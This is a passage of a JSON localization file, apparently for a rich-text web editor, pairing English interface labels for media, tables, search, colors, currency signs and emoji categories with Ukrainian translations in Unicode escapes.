"Insert\/edit media": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438\/\u0440\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 \u0430\u0443\u0434\u0456\u043e",
"Alternative source": "\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0435 \u0434\u0436\u0435\u0440\u0435\u043b\u043e",
"Alternative source URL": "\u041f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u043d\u0430 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0435 \u0434\u0436\u0435\u0440\u0435\u043b\u043e",
"Media poster (Image URL)": "\u0421\u0432\u0456\u0442\u043b\u0438\u043d\u0430 \u043c\u0435\u0434\u0456\u0430 (\u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u043d\u0430 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f)",
"Paste your embed code below:": "\u0412\u0441\u0442\u0430\u0432\u0442\u0435 \u0432\u0430\u0448 \u043a\u043e\u0434 \u043d\u0438\u0436\u0447\u0435:",
"Embed": "\u041a\u043e\u0434 \u0434\u043b\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438",
"Media...": "\u041c\u0435\u0434\u0456\u0430\u2026",
"Nonbreaking space": "\u041d\u0435\u0440\u043e\u0437\u0440\u0438\u0432\u043d\u0438\u0439 \u043f\u0440\u043e\u0431\u0456\u043b",
"Page break": "\u0420\u043e\u0437\u0440\u0438\u0432 \u0441\u0442\u043e\u0440\u0456\u043d\u043a\u0438",
"Paste as text": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u044f\u043a \u0442\u0435\u043a\u0441\u0442",
"Preview": "\u041f\u043e\u043f\u0435\u0440\u0435\u0434\u043d\u0456\u0439 \u043f\u0435\u0440\u0435\u0433\u043b\u044f\u0434",
"Print...": "\u0414\u0440\u0443\u043a\u0443\u0432\u0430\u0442\u0438\u2026",
"Save": "\u0417\u0431\u0435\u0440\u0435\u0433\u0442\u0438",
"Find": "\u0417\u043d\u0430\u0439\u0442\u0438",
"Replace with": "\u0417\u0430\u043c\u0456\u043d\u0438\u0442\u0438 \u043d\u0430",
"Replace": "\u0417\u0430\u043c\u0456\u043d\u0438\u0442\u0438",
"Replace all": "\u0417\u0430\u043c\u0456\u043d\u0438\u0442\u0438 \u0432\u0441\u0435",
"Previous": "\u041f\u043e\u043f\u0435\u0440\u0435\u0434\u043d\u0456\u0439",
"Next": "\u0412\u043d\u0438\u0437",
"Find and replace...": "\u041f\u043e\u0448\u0443\u043a \u0456 \u0437\u0430\u043c\u0456\u043d\u0430\u2026",
"Could not find the specified string.": "\u0412\u043a\u0430\u0437\u0430\u043d\u0438\u0439 \u0440\u044f\u0434\u043e\u043a \u043d\u0435 \u0437\u043d\u0430\u0439\u0434\u0435\u043d\u043e",
"Match case": "\u0412\u0440\u0430\u0445\u043e\u0432\u0443\u0432\u0430\u0442\u0438 \u0440\u0435\u0433\u0456\u0441\u0442\u0440",
"Find whole words only": "\u0428\u0443\u043a\u0430\u0442\u0438 \u0442\u0456\u043b\u044c\u043a\u0438 \u0446\u0456\u043b\u0456 \u0441\u043b\u043e\u0432\u0430",
"Spell check": "\u041f\u0435\u0440\u0435\u0432\u0456\u0440\u043a\u0430 \u043f\u0440\u0430\u0432\u043e\u043f\u0438\u0441\u0443",
"Ignore": "\u0406\u0433\u043d\u043e\u0440\u0443\u0432\u0430\u0442\u0438",
"Ignore all": "\u0406\u0433\u043d\u043e\u0440\u0443\u0432\u0430\u0442\u0438 \u0432\u0441\u0435",
"Finish": "\u0417\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u0438",
"Add to Dictionary": "\u0414\u043e\u0434\u0430\u0442\u0438 \u0434\u043e \u0421\u043b\u043e\u0432\u043d\u0438\u043a\u0430",
"Insert table": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0442\u0430\u0431\u043b\u0438\u0446\u044e",
"Table properties": "\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0442\u0430\u0431\u043b\u0438\u0446\u0456",
"Delete table": "\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438 \u0442\u0430\u0431\u043b\u0438\u0446\u044e",
"Cell": "\u041a\u043e\u043c\u0456\u0440\u043a\u0430",
"Row": "\u0420\u044f\u0434\u043e\u043a",
"Column": "\u0421\u0442\u043e\u0432\u043f\u0435\u0446\u044c",
"Cell properties": "\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0438 \u043a\u043e\u043c\u0456\u0440\u043a\u0438",
"Merge cells": "\u041e\u0431'\u0454\u0434\u043d\u0430\u0442\u0438 \u043a\u043e\u043c\u0456\u0440\u043a\u0438",
"Split cell": "\u0420\u043e\u0437\u0431\u0438\u0442\u0438 \u043a\u043e\u043c\u0456\u0440\u043a\u0443",
"Insert row before": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043f\u043e\u0440\u043e\u0436\u043d\u0456\u0439 \u0440\u044f\u0434\u043e\u043a \u0437\u0432\u0435\u0440\u0445\u0443",
"Insert row after": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043f\u043e\u0440\u043e\u0436\u043d\u0456\u0439 \u0440\u044f\u0434\u043e\u043a \u0437\u043d\u0438\u0437\u0443",
"Delete row": "\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438 \u0440\u044f\u0434\u043e\u043a",
"Row properties": "\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0438 \u0440\u044f\u0434\u043a\u0430",
"Cut row": "\u0412\u0438\u0440\u0456\u0437\u0430\u0442\u0438 \u0440\u044f\u0434\u043e\u043a",
"Copy row": "\u041a\u043e\u043f\u0456\u044e\u0432\u0430\u0442\u0438 \u0440\u044f\u0434\u043e\u043a",
"Paste row before": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0440\u044f\u0434\u043e\u043a \u0437\u0432\u0435\u0440\u0445\u0443",
"Paste row after": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0440\u044f\u0434\u043e\u043a \u0437\u043d\u0438\u0437\u0443",
"Insert column before": "\u0414\u043e\u0434\u0430\u0442\u0438 \u0441\u0442\u043e\u0432\u043f\u0435\u0446\u044c \u043b\u0456\u0432\u043e\u0440\u0443\u0447",
"Insert column after": "\u0414\u043e\u0434\u0430\u0442\u0438 \u0441\u0442\u043e\u0432\u043f\u0435\u0446\u044c \u043f\u0440\u0430\u0432\u043e\u0440\u0443\u0447",
"Delete column": "\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438 \u0441\u0442\u043e\u0432\u043f\u0435\u0446\u044c",
"Cols": "\u0421\u0442\u043e\u0432\u043f\u0446\u0456",
"Rows": "\u0420\u044f\u0434\u043a\u0438",
"Width": "\u0428\u0438\u0440\u0438\u043d\u0430",
"Height": "\u0412\u0438\u0441\u043e\u0442\u0430",
"Cell spacing": "\u0412\u0456\u0434\u0441\u0442\u0430\u043d\u044c \u043c\u0456\u0436 \u043a\u043e\u043c\u0456\u0440\u043a\u0430\u043c\u0438",
"Cell padding": "\u041f\u043e\u043b\u044f \u043a\u043e\u043c\u0456\u0440\u043e\u043a",
"Show caption": "\u041f\u043e\u043a\u0430\u0437\u0443\u0432\u0430\u0442\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Left": "\u041f\u043e \u043b\u0456\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Center": "\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443",
"Right": "\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Cell type": "\u0422\u0438\u043f \u043a\u043e\u043c\u0456\u0440\u043a\u0438",
"Scope": "\u0421\u0444\u0435\u0440\u0430",
"Alignment": "\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",
"H Align": "\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0435  \u0432\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",
"V Align": "\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u0435 \u0432\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",
"Top": "\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Middle": "\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443",
"Bottom": "\u041f\u043e \u043d\u0438\u0436\u043d\u044c\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Header cell": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Row group": "\u0413\u0440\u0443\u043f\u0430 \u0440\u044f\u0434\u043a\u0456\u0432",
"Column group": "\u0413\u0440\u0443\u043f\u0430 \u0441\u0442\u043e\u0432\u043f\u0446\u0456\u0432",
"Row type": "\u0422\u0438\u043f \u0440\u044f\u0434\u043a\u0430",
"Header": "\u0412\u0435\u0440\u0445\u043d\u0456\u0439 \u043a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b",
"Body": "\u0422\u0456\u043b\u043e",
"Footer": "\u041d\u0438\u0436\u043d\u0456\u0439 \u043a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b",
"Border color": "\u043a\u043e\u043b\u0456\u0440 \u0440\u0430\u043c\u043a\u0438",
"Insert template...": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0448\u0430\u0431\u043b\u043e\u043d\u2026",
"Templates": "\u0428\u0430\u0431\u043b\u043e\u043d\u0438",
"Template": "\u0428\u0430\u0431\u043b\u043e\u043d",
"Text color": "\u041a\u043e\u043b\u0456\u0440 \u0442\u0435\u043a\u0441\u0442\u0443",
"Background color": "\u041a\u043e\u043b\u0456\u0440 \u0444\u043e\u043d\u0443",
"Custom...": "\u043a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0446\u044c\u043a\u0438\u0439",
"Custom color": "\u043a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0446\u044c\u043a\u0438\u0439 \u043a\u043e\u043b\u0456\u0440",
"No color": "\u0431\u0435\u0437 \u043a\u043e\u043b\u044c\u043e\u0440\u0443",
"Remove color": "\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438 \u043a\u043e\u043b\u0456\u0440",
"Table of Contents": "\u0417\u043c\u0456\u0441\u0442",
"Show blocks": "\u041f\u043e\u043a\u0430\u0437\u0443\u0432\u0430\u0442\u0438 \u0431\u043b\u043e\u043a\u0438",
"Show invisible characters": "\u041f\u043e\u043a\u0430\u0437\u0443\u0432\u0430\u0442\u0438 \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u0456 \u0441\u0438\u043c\u0432\u043e\u043b\u0438",
"Word count": "\u041a\u0456\u043b\u044c\u043a\u0456\u0441\u0442\u044c \u0441\u043b\u0456\u0432",
"Count": "\u041b\u0456\u0447\u0438\u043b\u044c\u043d\u0438\u043a",
"Document": "\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442",
"Selection": "\u0412\u0438\u0434\u0456\u043b\u0435\u043d\u043d\u044f",
"Words": "\u0421\u043b\u043e\u0432\u0430",
"Words: {0}": "\u041a\u0456\u043b\u044c\u043a\u0456\u0441\u0442\u044c \u0441\u043b\u0456\u0432: {0}",
"{0} words": "{0} \u0441\u043b\u0456\u0432",
"File": "\u0424\u0430\u0439\u043b",
"Edit": "\u0417\u043c\u0456\u043d\u0438\u0442\u0438",
"Insert": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438",
"View": "\u0412\u0438\u0433\u043b\u044f\u0434",
"Format": "\u0424\u043e\u0440\u043c\u0430\u0442",
"Table": "\u0422\u0430\u0431\u043b\u0438\u0446\u044f",
"Tools": "\u0406\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438",
"Powered by {0}": "\u041f\u0440\u0430\u0446\u044e\u0454 \u043d\u0430 {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u0422\u0435\u043a\u0441\u0442\u043e\u0432\u0435 \u043f\u043e\u043b\u0435. \u041d\u0430\u0442\u0438\u0441\u043d\u0456\u0442\u044c ALT-F9 \u0449\u043e\u0431 \u0432\u0438\u043a\u043b\u0438\u043a\u0430\u0442\u0438 \u043c\u0435\u043d\u044e, ALT-F10 \u043f\u0430\u043d\u0435\u043b\u044c \u0456\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0456\u0432, ALT-0 \u0434\u043b\u044f \u0432\u0438\u043a\u043b\u0438\u043a\u0443 \u0434\u043e\u043f\u043e\u043c\u043e\u0433\u0438.",
"Image title": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Border width": "\u0428\u0438\u0440\u0438\u043d\u0430 \u043c\u0435\u0436\u0456",
"Border style": "\u0421\u0442\u0438\u043b\u044c \u043c\u0435\u0436\u0456",
"Error": "\u041f\u043e\u043c\u0438\u043b\u043a\u0430",
"Warn": "\u041f\u043e\u043f\u0435\u0440\u0435\u0434\u0436\u0435\u043d\u043d\u044f",
"Valid": "\u0412\u0456\u0440\u043d\u0438\u0439",
"To open the popup, press Shift+Enter": "\u0429\u043e\u0431 \u0432\u0456\u0434\u043a\u0440\u0438\u0442\u0438 \u0441\u043f\u043b\u0438\u0432\u043d\u0435 \u0432\u0456\u043a\u043d\u043e, \u043d\u0430\u0442\u0438\u0441\u043d\u0456\u0442\u044c Shift\u00a0+\u00a0Enter",
"Rich Text Area. Press ALT-0 for help.": "\u041e\u0431\u043b\u0430\u0441\u0442\u044c \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432\u0430\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0443. \u041d\u0430\u0442\u0438\u0441\u043d\u0456\u0442\u044c ALT\u00a0+\u00a00, \u0449\u043e\u0431 \u0432\u0456\u0434\u043a\u0440\u0438\u0442\u0438 \u0434\u043e\u0432\u0456\u0434\u043a\u0443.",
"System Font": "\u0421\u0438\u0441\u0442\u0435\u043c\u043d\u0438\u0439 \u0448\u0440\u0438\u0444\u0442",
"Failed to upload image: {0}": "\u041d\u0435 \u0432\u0434\u0430\u043b\u043e\u0441\u044f \u0432\u0456\u0434\u0432\u0430\u043d\u0442\u0430\u0436\u0438\u0442\u0438 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f: {0}",
"Failed to load plugin: {0} from url {1}": "\u041d\u0435 \u0432\u0434\u0430\u043b\u043e\u0441\u044f \u0437\u0430\u0432\u0430\u043d\u0442\u0430\u0436\u0438\u0442\u0438 \u043f\u043b\u0430\u0491\u0456\u043d: {0} \u0437\u0430 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f\u043c {1}",
"Failed to load plugin url: {0}": "\u041d\u0435 \u0432\u0434\u0430\u043b\u043e\u0441\u044f \u0437\u0430\u0432\u0430\u043d\u0442\u0430\u0436\u0438\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u043d\u0430 \u043f\u043b\u0430\u0491\u0456\u043d: {0}",
"Failed to initialize plugin: {0}": "\u041d\u0435 \u0432\u0434\u0430\u043b\u043e\u0441\u044f \u0456\u043d\u0456\u0446\u0456\u0430\u043b\u0456\u0437\u0443\u0432\u0430\u0442\u0438 \u043f\u043b\u0430\u0491\u0456\u043d: {0}",
"example": "\u043f\u0440\u0438\u043a\u043b\u0430\u0434",
"Search": "\u041f\u043e\u0448\u0443\u043a",
"All": "\u0412\u0441\u0435",
"Currency": "\u0412\u0430\u043b\u044e\u0442\u0430",
"Text": "\u0422\u0435\u043a\u0441\u0442",
"Quotations": "\u0426\u0438\u0442\u0443\u0432\u0430\u043d\u043d\u044f",
"Mathematical": "\u041c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u043d\u0456 \u0441\u0438\u043c\u0432\u043e\u043b\u0438",
"Extended Latin": "\u0420\u043e\u0437\u0448\u0438\u0440\u0435\u043d\u0430 \u043b\u0430\u0442\u0438\u043d\u0438\u0446\u044f",
"Symbols": "\u0421\u0438\u043c\u0432\u043e\u043b\u0438",
"Arrows": "\u0421\u0442\u0440\u0456\u043b\u043a\u0438",
"User Defined": "\u0412\u0438\u0437\u043d\u0430\u0447\u0435\u043d\u0456 \u043a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447\u0435\u043c",
"dollar sign": "\u0437\u043d\u0430\u043a \u0434\u043e\u043b\u0430\u0440\u0430",
"currency sign": "\u0437\u043d\u0430\u043a \u0432\u0430\u043b\u044e\u0442\u0438",
"euro-currency sign": "\u0437\u043d\u0430\u043a \u0454\u0432\u0440\u043e",
"colon sign": "\u0437\u043d\u0430\u043a \u0434\u0432\u043e\u043a\u0440\u0430\u043f\u043a\u0438",
"cruzeiro sign": "\u0437\u043d\u0430\u043a \u043a\u0440\u0443\u0437\u0435\u0439\u0440\u043e",
"french franc sign": "\u0437\u043d\u0430\u043a \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u044c\u043a\u043e\u0433\u043e \u0444\u0440\u0430\u043d\u043a\u0443",
"lira sign": "\u0437\u043d\u0430\u043a \u043b\u0456\u0440\u0438",
"mill sign": "\u0437\u043d\u0430\u043a \u043c\u0456\u043b\u044e",
"naira sign": "\u0437\u043d\u0430\u043a \u043d\u0430\u0439\u0440\u0438",
"peseta sign": "\u0437\u043d\u0430\u043a \u043f\u0435\u0441\u0435\u0442\u0438",
"rupee sign": "\u0437\u043d\u0430\u043a \u0440\u0443\u043f\u0456\u0457",
"won sign": "\u0437\u043d\u0430\u043a \u0432\u043e\u043d\u0438",
"new sheqel sign": "\u0437\u043d\u0430\u043a \u043d\u043e\u0432\u043e\u0433\u043e \u0448\u0435\u043a\u0435\u043b\u044f",
"dong sign": "\u0437\u043d\u0430\u043a \u0434\u043e\u043d\u0433\u0443",
"kip sign": "\u0437\u043d\u0430\u043a \u043a\u0456\u043f\u0443",
"tugrik sign": "\u0437\u043d\u0430\u043a \u0442\u0443\u0433\u0440\u0438\u043a\u0430",
"drachma sign": "\u0437\u043d\u0430\u043a \u0434\u0440\u0430\u0445\u043c\u0438",
"german penny symbol": "\u0437\u043d\u0430\u043a \u043f\u0444\u0435\u043d\u0456\u0433\u0430",
"peso sign": "\u0437\u043d\u0430\u043a \u043f\u0435\u0441\u043e",
"guarani sign": "\u0437\u043d\u0430\u043a \u0433\u0443\u0430\u0440\u0430\u043d\u0456",
"austral sign": "\u0437\u043d\u0430\u043a \u0430\u0443\u0441\u0442\u0440\u0430\u043b\u044e",
"hryvnia sign": "\u0437\u043d\u0430\u043a \u0433\u0440\u0438\u0432\u043d\u0456",
"cedi sign": "\u0437\u043d\u0430\u043a \u0441\u0435\u0434\u0456",
"livre tournois sign": "\u0437\u043d\u0430\u043a \u0442\u0443\u0440\u0441\u044c\u043a\u043e\u0433\u043e \u043b\u0456\u0432\u0440\u0443",
"spesmilo sign": "\u0437\u043d\u0430\u043a \u0441\u043f\u0435\u0441\u043c\u0456\u043b\u043e",
"tenge sign": "\u0437\u043d\u0430\u043a \u0442\u0435\u043d\u0433\u0435",
"indian rupee sign": "\u0437\u043d\u0430\u043a \u0456\u043d\u0434\u0456\u0439\u0441\u044c\u043a\u043e\u0457 \u0440\u0443\u043f\u0456\u0457",
"turkish lira sign": "\u0437\u043d\u0430\u043a \u0442\u0443\u0440\u0435\u0446\u044c\u043a\u043e\u0457 \u043b\u0456\u0440\u0438",
"nordic mark sign": "\u0437\u043d\u0430\u043a \u043f\u0456\u0432\u043d\u0456\u0447\u043d\u043e\u0457 \u043c\u0430\u0440\u043a\u0438",
"manat sign": "\u0437\u043d\u0430\u043a \u043c\u0430\u043d\u0430\u0442\u0443",
"ruble sign": "\u0437\u043d\u0430\u043a \u0440\u0443\u0431\u043b\u044f",
"yen character": "\u0441\u0438\u043c\u0432\u043e\u043b \u0454\u043d\u0438",
"yuan character": "\u0441\u0438\u043c\u0432\u043e\u043b \u044e\u0430\u043d\u044e",
"yuan character, in hong kong and taiwan": "\u0441\u0438\u043c\u0432\u043e\u043b \u044e\u0430\u043d\u044e \u0432 \u0413\u043e\u043d\u043a\u043e\u043d\u0437\u0456 \u0456 \u0422\u0430\u0439\u0432\u0430\u043d\u0456",
"yen\/yuan character variant one": "\u0441\u0438\u043c\u0432\u043e\u043b \u0454\u043d\u0438\/\u044e\u0430\u043d\u044e, \u043f\u0435\u0440\u0448\u0438\u0439 \u0432\u0430\u0440\u0456\u0430\u043d\u0442",
"Loading emoticons...": "\u0417\u0430\u0432\u0430\u043d\u0442\u0430\u0436\u0435\u043d\u043d\u044f \u0441\u043c\u0430\u0439\u043b\u0438\u043a\u0456\u0432\u2026",
"Could not load emoticons": "\u041d\u0435 \u0432\u0434\u0430\u043b\u043e\u0441\u044f \u0437\u0430\u0432\u0430\u043d\u0442\u0430\u0436\u0438\u0442\u0438 \u0441\u043c\u0430\u0439\u043b\u0438\u043a\u0438",
"People": "\u041b\u044e\u0434\u0438",
"Animals and Nature": "\u0422\u0432\u0430\u0440\u0438\u043d\u0438 \u0442\u0430 \u043f\u0440\u0438\u0440\u043e\u0434\u0430",
"Food and Drink": "\u0407\u0436\u0430 \u0442\u0430 \u043d\u0430\u043f\u043e\u0457",
"Activity": "\u0410\u043a\u0442\u0438\u0432\u043d\u0456\u0441\u0442\u044c",
"Travel and Places": "\u041f\u043e\u0434\u043e\u0440\u043e\u0436\u0456 \u0456 \u043c\u0456\u0441\u0446\u044f",
"Objects": "\u041e\u0431\u2019\u0454\u043a\u0442\u0438",
"Flags": "\u041f\u0440\u0430\u043f\u043e\u0440\u0438",
"Characters": "\u0421\u0438\u043c\u0432\u043e\u043b\u0438",
"Characters (no spaces)": "\u0421\u0438\u043c\u0432\u043e\u043b\u0438 (\u0431\u0435\u0437 \u043f\u0440\u043e\u0431\u0456\u043b\u0456\u0432)",
"{0} characters": "\u041a\u0456\u043b\u044c\u043a\u0456\u0441\u0442\u044c \u0441\u0438\u043c\u0432\u043e\u043b\u0456\u0432: {0}",
"Error: Form submit field collision.": "\u041f\u043e\u043c\u0438\u043b\u043a\u0430: \u043a\u043e\u043b\u0456\u0437\u0456\u044f \u043f\u043e\u043b\u044f \u0432\u0456\u0434\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044f \u0444\u043e\u0440\u043c\u0438.",
"Error: No form element found.": "\u041f\u043e\u043c\u0438\u043b\u043a\u0430: \u043d\u0435 \u0437\u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0430 \u0444\u043e\u0440\u043c\u0438.",
"Update": "\u041e\u043d\u043e\u0432\u0438\u0442\u0438",
"Color swatch": "\u0417\u0440\u0430\u0437\u043e\u043a \u043a\u043e\u043b\u044c\u043e\u0440\u0443",
"Turquoise": "\u0411\u0456\u0440\u044e\u0437\u043e\u0432\u0438\u0439",
"Green": "\u0417\u0435\u043b\u0435\u043d\u0438\u0439",
"Blue": "\u0421\u0438\u043d\u0456\u0439",
"Purple": "\u0424\u0456\u043e\u043b\u0435\u0442\u043e\u0432\u0438\u0439",
"Navy Blue": "\u0422\u0435\u043c\u043d\u043e-\u0441\u0438\u043d\u0456\u0439",
"Dark Turquoise": "\u0422\u0435\u043c\u043d\u043e-\u0431\u0456\u0440\u044e\u0437\u043e\u0432\u0438\u0439",
"Dark Green": "\u0422\u0435\u043c\u043d\u043e-\u0437\u0435\u043b\u0435\u043d\u0438\u0439",
"Medium Blue": "\u0421\u0435\u0440\u0435\u0434\u043d\u044c\u043e-\u0441\u0438\u043d\u0456\u0439",
"Medium Purple": "\u0421\u0435\u0440\u0435\u0434\u043d\u044c\u043e-\u0444\u0456\u043e\u043b\u0435\u0442\u043e\u0432\u0438\u0439",
"Midnight Blue": "\u041e\u043f\u0456\u0432\u043d\u0456\u0447\u043d\u0430 \u0431\u043b\u0430\u043a\u0438\u0442\u044c",
"Yellow": "\u0416\u043e\u0432\u0442\u0438\u0439",
"Orange": "\u041f\u043e\u043c\u0430\u0440\u0430\u043d\u0447\u0435\u0432\u0438\u0439",
"Red": "\u0427\u0435\u0440\u0432\u043e\u043d\u0438\u0439",
"Light Gray": "\u0421\u0432\u0456\u0442\u043b\u043e-\u0441\u0456\u0440\u0438\u0439",
"Gray": "\u0421\u0456\u0440\u0438\u0439",
"Dark Yellow": "\u0422\u0435\u043c\u043d\u043e-\u0436\u043e\u0432\u0442\u0438\u0439",
"Dark Orange": "\u0422\u0435\u043c\u043d\u043e-\u043f\u043e\u043c\u0430\u0440\u0430\u043d\u0447\u0435\u0432\u0438\u0439",
"Dark Red": "\u0422\u0435\u043c\u043d\u043e-\u0447\u0435\u0440\u0432\u043e\u043d\u0438\u0439",
"Medium Gray": "\u0421\u0435\u0440\u0435\u0434\u043d\u044c\u043e-\u0441\u0456\u0440\u0438\u0439",
"Dark Gray": "\u0422\u0435\u043c\u043d\u043e-\u0441\u0456\u0440\u0438\u0439",
"Light Green": "\u0421\u0432\u0456\u0442\u043b\u043e-\u0437\u0435\u043b\u0435\u043d\u0438\u0439",
"Light Yellow": "\u0421\u0432\u0456\u0442\u043b\u043e-\u0436\u043e\u0432\u0442\u0438\u0439",
"Light Red": "\u0421\u0432\u0456\u0442\u043b\u043e-\u0447\u0435\u0440\u0432\u043e\u043d\u0438\u0439",
"Light Purple": "\u0421\u0432\u0456\u0442\u043b\u043e-\u0444\u0456\u043e\u043b\u0435\u0442\u043e\u0432\u0438\u0439",
"Light Blue": "\u0421\u0432\u0456\u0442\u043b\u043e-\u0441\u0438\u043d\u0456\u0439",
"Dark Purple": "\u0422\u0435\u043c\u043d\u043e-\u0444\u0456\u043e\u043b\u0435\u0442\u043e\u0432\u0438\u0439",
"Dark Blue": "\u0422\u0435\u043c\u043d\u043e-\u0433\u043e\u043b\u0443\u0431\u0438\u0439",
"Black": "\u0427\u043e\u0440\u043d\u0438\u0439",
"White": "\u0411\u0456\u043b\u0438\u0439",
"Switch to or from fullscreen mode": "\u041f\u0435\u0440\u0435\u043c\u0438\u043a\u0430\u043d\u043d\u044f \u043f\u043e\u0432\u043d\u043e\u0435\u043a\u0440\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0436\u0438\u043c\u0443",
"Open help dialog": "\u0412\u0456\u0434\u043a\u0440\u0438\u0442\u0438 \u0432\u0456\u043a\u043d\u043e \u0434\u043e\u0432\u0456\u0434\u043a\u0438",
"history": "\u0456\u0441\u0442\u043e\u0440\u0456\u044f",
"styles": "\u0441\u0442\u0438\u043b\u0456",
"formatting": "\u0444\u043e\u0440\u043c\u0430\u0442\u0443\u0432\u0430\u043d\u043d\u044f",
"alignment": "\u0432\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",
"indentation": "\u0432\u0456\u0434\u0441\u0442\u0443\u043f",
"permanent pen": "\u043c\u0430\u0440\u043a\u0435\u0440",
"comments": "\u043a\u043e\u043c\u0435\u043d\u0442\u0430\u0440\u0456",
"Format Painter": "\u0424\u043e\u0440\u043c\u0430\u0442 \u0437\u0430 \u0437\u0440\u0430\u0437\u043a\u043e\u043c",
"Insert\/edit iframe": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438\/\u0440\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 iframe",
"Capitalization": "\u0412\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u0430\u043d\u043d\u044f \u0432\u0435\u043b\u0438\u043a\u0438\u0445 \u043b\u0456\u0442\u0435\u0440",
"lowercase": "\u043d\u0438\u0436\u043d\u0456\u0439 \u0440\u0435\u0433\u0456\u0441\u0442\u0440",
"UPPERCASE": "\u0412\u0415\u0420\u0425\u041d\u0406\u0419 \u0420\u0415\u0413\u0406\u0421\u0422\u0420",
"Title Case": "\u0420\u0435\u0433\u0456\u0441\u0442\u0440 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430",
"Permanent Pen Properties": "\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u043c\u0430\u0440\u043a\u0435\u0440\u0430",
"Permanent pen properties...": "\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u043c\u0430\u0440\u043a\u0435\u0440\u0430\u2026",
"Font": "\u0428\u0440\u0438\u0444\u0442",
"Size": "\u0420\u043e\u0437\u043c\u0456\u0440",
"More...": "\u0411\u0456\u043b\u044c\u0448\u0435\u2026",
"Spellcheck Language": "\u041c\u043e\u0432\u0430 \u043f\u0435\u0440\u0435\u0432\u0456\u0440\u043a\u0438 \u043e\u0440\u0444\u043e\u0433\u0440\u0430\u0444\u0456\u0457",
"Select...": "\u0412\u0438\u0431\u0440\u0430\u0442\u0438\u2026",
"Preferences": "\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0438",
"Yes": "\u0422\u0430\u043a",
"No": "\u041d\u0456",
